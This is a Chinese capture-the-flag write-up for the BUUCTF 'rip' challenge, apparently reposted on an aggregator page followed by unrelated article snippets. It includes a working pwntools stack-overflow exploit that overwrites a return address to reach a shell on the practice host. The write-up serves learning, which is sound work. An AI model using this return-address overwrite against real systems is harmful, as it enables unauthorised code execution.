题目:BUUCTF之rip(pwn)

网址

BUUCTF在线评测https://buuoj.cn/challenges#rip打开,如图所示

提示:先别启动靶机,靶机可以最后在启动,先分析下载的附件pwn1。

点击下载,下载完成之后,该文件后缀类型改为exe(就是将pwn1重命名为pwn1.exe)然后拖到IDA64.exe中。(我不知道后缀类型到底要不要改,网上很多教程都没讲清楚,然后我看了一下ida能打开的文件基本上都是exe的,我就自己改了)

注意:做pwn题目基本都要用到IDA跟虚拟机(Linux),所以要提前装好。

ida有很多版本,找一个能用的就行

ida及其相关资源网址(尽量找一些绿色网址下载)

IDA Pro入门指南:静态反编译神器的安装与使用详解-CSDN博客https://blog.csdn.net/qq_47403671/article/details/119939585逆向工具——IDA Pro的使用,从零基础到精通,收藏这篇就够了!_ida pro使用教程-CSDN博客https://blog.csdn.net/Python_0011/article/details/146866529IDA Pro 9.0 (macOS, Linux, Windows) - 强大的反汇编程序、反编译器和多功能调试器 - sysin - 博客园https://www.cnblogs.com/sysin/p/18639073我安装的是下面这个

[IDA] 加密与解密-ida的下载及详细安装过程(附有下载文件)_ida下载-CSDN博客https://blog.csdn.net/2301_77946674/article/details/141942756拖到ida64.exe中后有一些选项,默认就行了

打开后差不多是这样(我这里已经做完了,不知道怎么恢复原状)

如果不是这样的,双击左侧Functions window下的main,就变成这样了,再按F5(有些好像是F12),总之一定要出现一下界面

再双击变量S,就是第六行的括号中的S,出现以下界面就可以了

注意到右边两个蓝色S,观察到S左边由0变到F,一共是十六位,不管有什么用,先记下来。

双击左侧fun,得到以下界面(注意看栏目)

如果是以下界面,请按F5(或其他)

拖动分界线,记录fun函数内存地址0x401186

最后编写exp(我不会,借鉴别人的)

# 导入 pwntools 模块
from pwn import *# 和靶机进行连接 
r = remote("node4.buuoj.cn",26817)#这里双引号里面的替换成自己所启动靶机的,端口26817一样替换为自己靶机的# 定义fun函数的内存地址
fun_addr = 0x401187# 定义payload,一共需要十六进制f(16)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据
# 最后加上p64函数转换的fun函数的地址
payload = (b"a" * 0xf) + (b"b" * 8) + p64(fun_addr)# 发送payload
r.sendline(payload)# 获取靶机交互式终端
r.interactive()

最后使用python运行,建议在虚拟机上操作。Windows上应该也可以

python 1.py #这里1.py替换成自己编写的python文件

我实在Ubuntu虚拟机上操作的,如图所示

输入ls(Linux ls(英文全拼: list directory contents)命令用于显示指定工作目录下之内容(列出目前工作目录所含的文件及子目录)。)

观察到特殊文件(或文件夹)flag,再次输入cat flag ,结果如图所示

得出flag

只不过我的虚拟机好像有点问题,在虚拟机中复制,却在主机上粘贴不了,害得我只能一个个敲出来。

注意

cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上,它的主要作用是用于查看和连接文件

其他,有需求请看以下网址内容

参考网址

BUUCTF-pwn-rip(第一个栈溢出) - Junglezt - 博客园https://www.cnblogs.com/Junglezt/p/17871927.htmlBUUCTF (PWN) RIP详细分析_buuctf rip pwn 解法-CSDN博客https://blog.csdn.net/qy201706/article/details/105397766buuctf rip 详细wp - refrain-again - 博客园https://www.cnblogs.com/refrain-again/p/15001283.htmlpwn学习(3)BUUCTF-rip - 技术栈https://jishuzhan.net/article/1704828218214715393

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/91486.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/91486.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

el-button长按触发事件(含未响应的解决方案)

参考代码实现按钮长按触发逻辑 <template><el-button mousedown"handleMouseDown" mouseup"handleMouseUp">长按我</el-button> </template>data(){return{isPressed: false,timer: null,}},methods:{handleMouseDown() {this.isP…

List和 ObservableCollection 的区别

1. 变更通知机制​​ ​​ObservableCollection<T>​​ 实现了INotifyCollectionChanged和INotifyPropertyChanged接口&#xff0c;当集合元素被添加、删除、替换或重置时&#xff0c;会自动触发CollectionChanged事件&#xff0c;通知绑定的UI控件更新&#xff08;如WPF…

支付宝沙箱(白屏,用户订单参数错误等)

情况&#xff1a;Laravel项目的line 对接 支付宝沙箱测试 手机网站支付 1&#xff1a;沙箱地址&#xff0c;小到我找不到&#xff1a;沙箱应用 - 开放平台 2&#xff1a;虽然提供了系统密钥&#xff0c;但是只是测API链接的&#xff0c;要沙箱测试转账什么的&#xff0c;得用…

【NLP舆情分析】基于python微博舆情分析可视化系统(flask+pandas+echarts) 视频教程 - 微博评论IP地图可视化分析实现

大家好&#xff0c;我是java1234_小锋老师&#xff0c;最近写了一套【NLP舆情分析】基于python微博舆情分析可视化系统(flaskpandasecharts)视频教程&#xff0c;持续更新中&#xff0c;计划月底更新完&#xff0c;感谢支持。今天讲解微博评论IP地图可视化分析实现 视频在线地…

【代码随想录】刷题笔记——二叉树篇

目录 144. 二叉树的前序遍历 94. 二叉树的中序遍历 145. 二叉树的后序遍历 102. 二叉树的层序遍历 226. 翻转二叉树 101. 对称二叉树 104. 二叉树的最大深度 111. 二叉树的最小深度 222. 完全二叉树的节点个数 110. 平衡二叉树 257. 二叉树的所有路径 404. 左叶子之…

基于deepseek的文本解析 - 超长文本的md结构化

pdf超长合同或其他超100页非结构化文档&#xff0c;很难全量提交deepseek进行分析&#xff0c;一般需要先进行分割。然而&#xff0c;不管是langchain还是llamaindex提供的文本分割工具&#xff0c;很难直接对非结构化文本进行准确的内容分割&#xff0c;很多原始整体段落被划分…

介绍一个图像修复开源项目,从模糊到清晰仅需1.7秒:HYPIR图像修复技术如何改变数字世界?

文章概要 作为一名长期关注图像处理技术的爱好者&#xff0c;当我第一次接触到HYPIR这一革命性图像修复工具时&#xff0c;我被其惊人的速度和质量所震撼。本文将全面介绍由中国科学院深圳先进技术研究院董超研究员团队研发的HYPIR图像修复大模型&#xff0c;详细解析其核心技术…

基于UDP的SNMP协议

SNMP协议详解 SNMP (Simple Network Management Protocol)&#xff0c;“简单网络管理协议”&#xff0c;是广泛应用于TCP/IP网络中&#xff0c;用于管理和监控网络设备的一种标准协议。它允许网络管理员查询网络设备的状态信息、配置参数、接收故障告警等&#xff0c;从而实现…

3D空间中的变换矩阵

3D 空间中的变换矩阵详解 在 3D 计算机图形学中&#xff0c;所有几何变换都可以通过 44 齐次变换矩阵 来表示。以下详细介绍各种变换矩阵及其原理。 核心变换矩阵 1. 单位矩阵&#xff08;不变变换&#xff09; I[1000010000100001] I \begin{bmatrix} 1 & 0 & 0 &…

长连接(Long Connection)详解

一、长连接基本概念长连接&#xff08;也称为持久连接&#xff09;是指在一个TCP连接上可以连续发送多个HTTP请求/响应&#xff0c;而不是每次通信都建立新的连接。这是HTTP/1.1的默认行为&#xff0c;通过Connection: keep-alive头部实现。二、工作原理1. 传统短连接流程客户端…

【汇总】接口自动化测试 + 持续集成(文末视频演示)

技术栈&#xff1a;java testng httpclient allure fastjson jsonpath poi/yaml log4j 有建议请联系wx&#xff1a;ren168632201 java接口自动化系列(01)&#xff1a;自动化测试框架设计(入门版) java接口自动化系列(02)&#xff1a;测试数据文件设计(excel/yam) java接…

科研快报 |无人机+AI:广东防控基孔热背后的技术革命

Prism Path 科 研 快 报 CS跨学科顶尖期刊论文资讯 -NO.2025001- 人工智能在登革热预防、控制与管理中的作用&#xff1a;一项技术性叙述综述 The role of artificial intelligence for dengue prevention, control, and management: A technical narrative review 期刊…

常见的中间件漏洞

建议&#xff1a;启动下一个环境时&#xff0c;将上一个环境关闭&#xff0c;防止端口冲突和运行卡顿1.TomcatTomcat put方法任意文件写入漏洞Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat 8.5.19环境&#xff1a;cd vulhub-master/tomcat/CVE-2017-12615 docker-compose up -d…

7寸工业模组 XA070Y2-L01芯显科技详细参数资料

芯显7寸工业液晶屏 XA070Y2-L01 技术规格单 基础信息 项目 参数 制造商 芯显 型号 XA070Y2-L01 显示技术 a-Si TN TFT-LCD 应用场景 车载中控 / 工业HMI 屏幕尺寸 7.0英寸 机械结构 特性 指标 显示区域 152.4 91.44 mm 整机尺寸 165 104.09 9.1 mm 公差范围 0.5 mm 表面处理…

机器学习基础-numpy

一、相关知识点二、例子&#xff1a;import matplotlib.pyplot as plt import numpy as npplt.rcParams[font.sans-serif] [KaiTi] # 使用黑体 plt.rcParams[axes.unicode_minus] False # 解决负号显示问题math np.random.randint(low60,high100,size50) english np.rand…

Cockpit管理服务器

Cockpit 是一个开源工具&#xff0c;通过Web Console管理Linux服务器。部署 Cockpit[rootserver ~ 11:05:26]# yum -y install cockpit​[rootserver ~ 11:30:26]# systemctl enable cockpit.socket --nowCreated symlink from /etc/systemd/system/sockets.target.wants/cockp…

处理订单过期但支付成功的系统设计:平衡用户体验与业务规则

设计一个处理订单过期但用户支付成功的场景&#xff0c;需要平衡用户体验、系统一致性和业务规则。以下是一个系统化的设计方案&#xff0c;涵盖关键流程、异常处理和用户沟通&#xff1a;1. 场景分析 背景&#xff1a;用户在下单后&#xff0c;订单因超时而被标记为“过期”&a…

AI学习笔记三十三:基于Opencv的单目标跟踪

若该文为原创文章&#xff0c;转载请注明原文出处。一、功能介绍主要是想实现跟踪视频中的一个特定目标。使用了OpenCV库来实现视频中特定目标的跟踪。需要提供视频文件路径以及目标在第一帧中的位置坐标&#xff08;x, y, width, height&#xff09;&#xff0c;程序会自动跟踪…

第二篇:Three.js核心三要素:场景、相机、渲染器

第二篇&#xff1a;Three.js核心三要素&#xff1a;场景、相机、渲染器 引言 在Three.js的世界里&#xff0c;场景(Scene)、相机(Camera)和渲染器(Renderer)构成了最基础的"铁三角"。它们如同导演、摄像机和放映机&#xff0c;共同决定了3D内容的呈现方式。本篇将深入…

RagFlow本地源码部署(非Docker)

参考官方文档做个总结 1. 提前安装好uv pipx install uv pre-commit2. 下载源码&#xff1a; git clone https://github.com/infiniflow/ragflow.git cd ragflow/ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules uv run download_deps.py …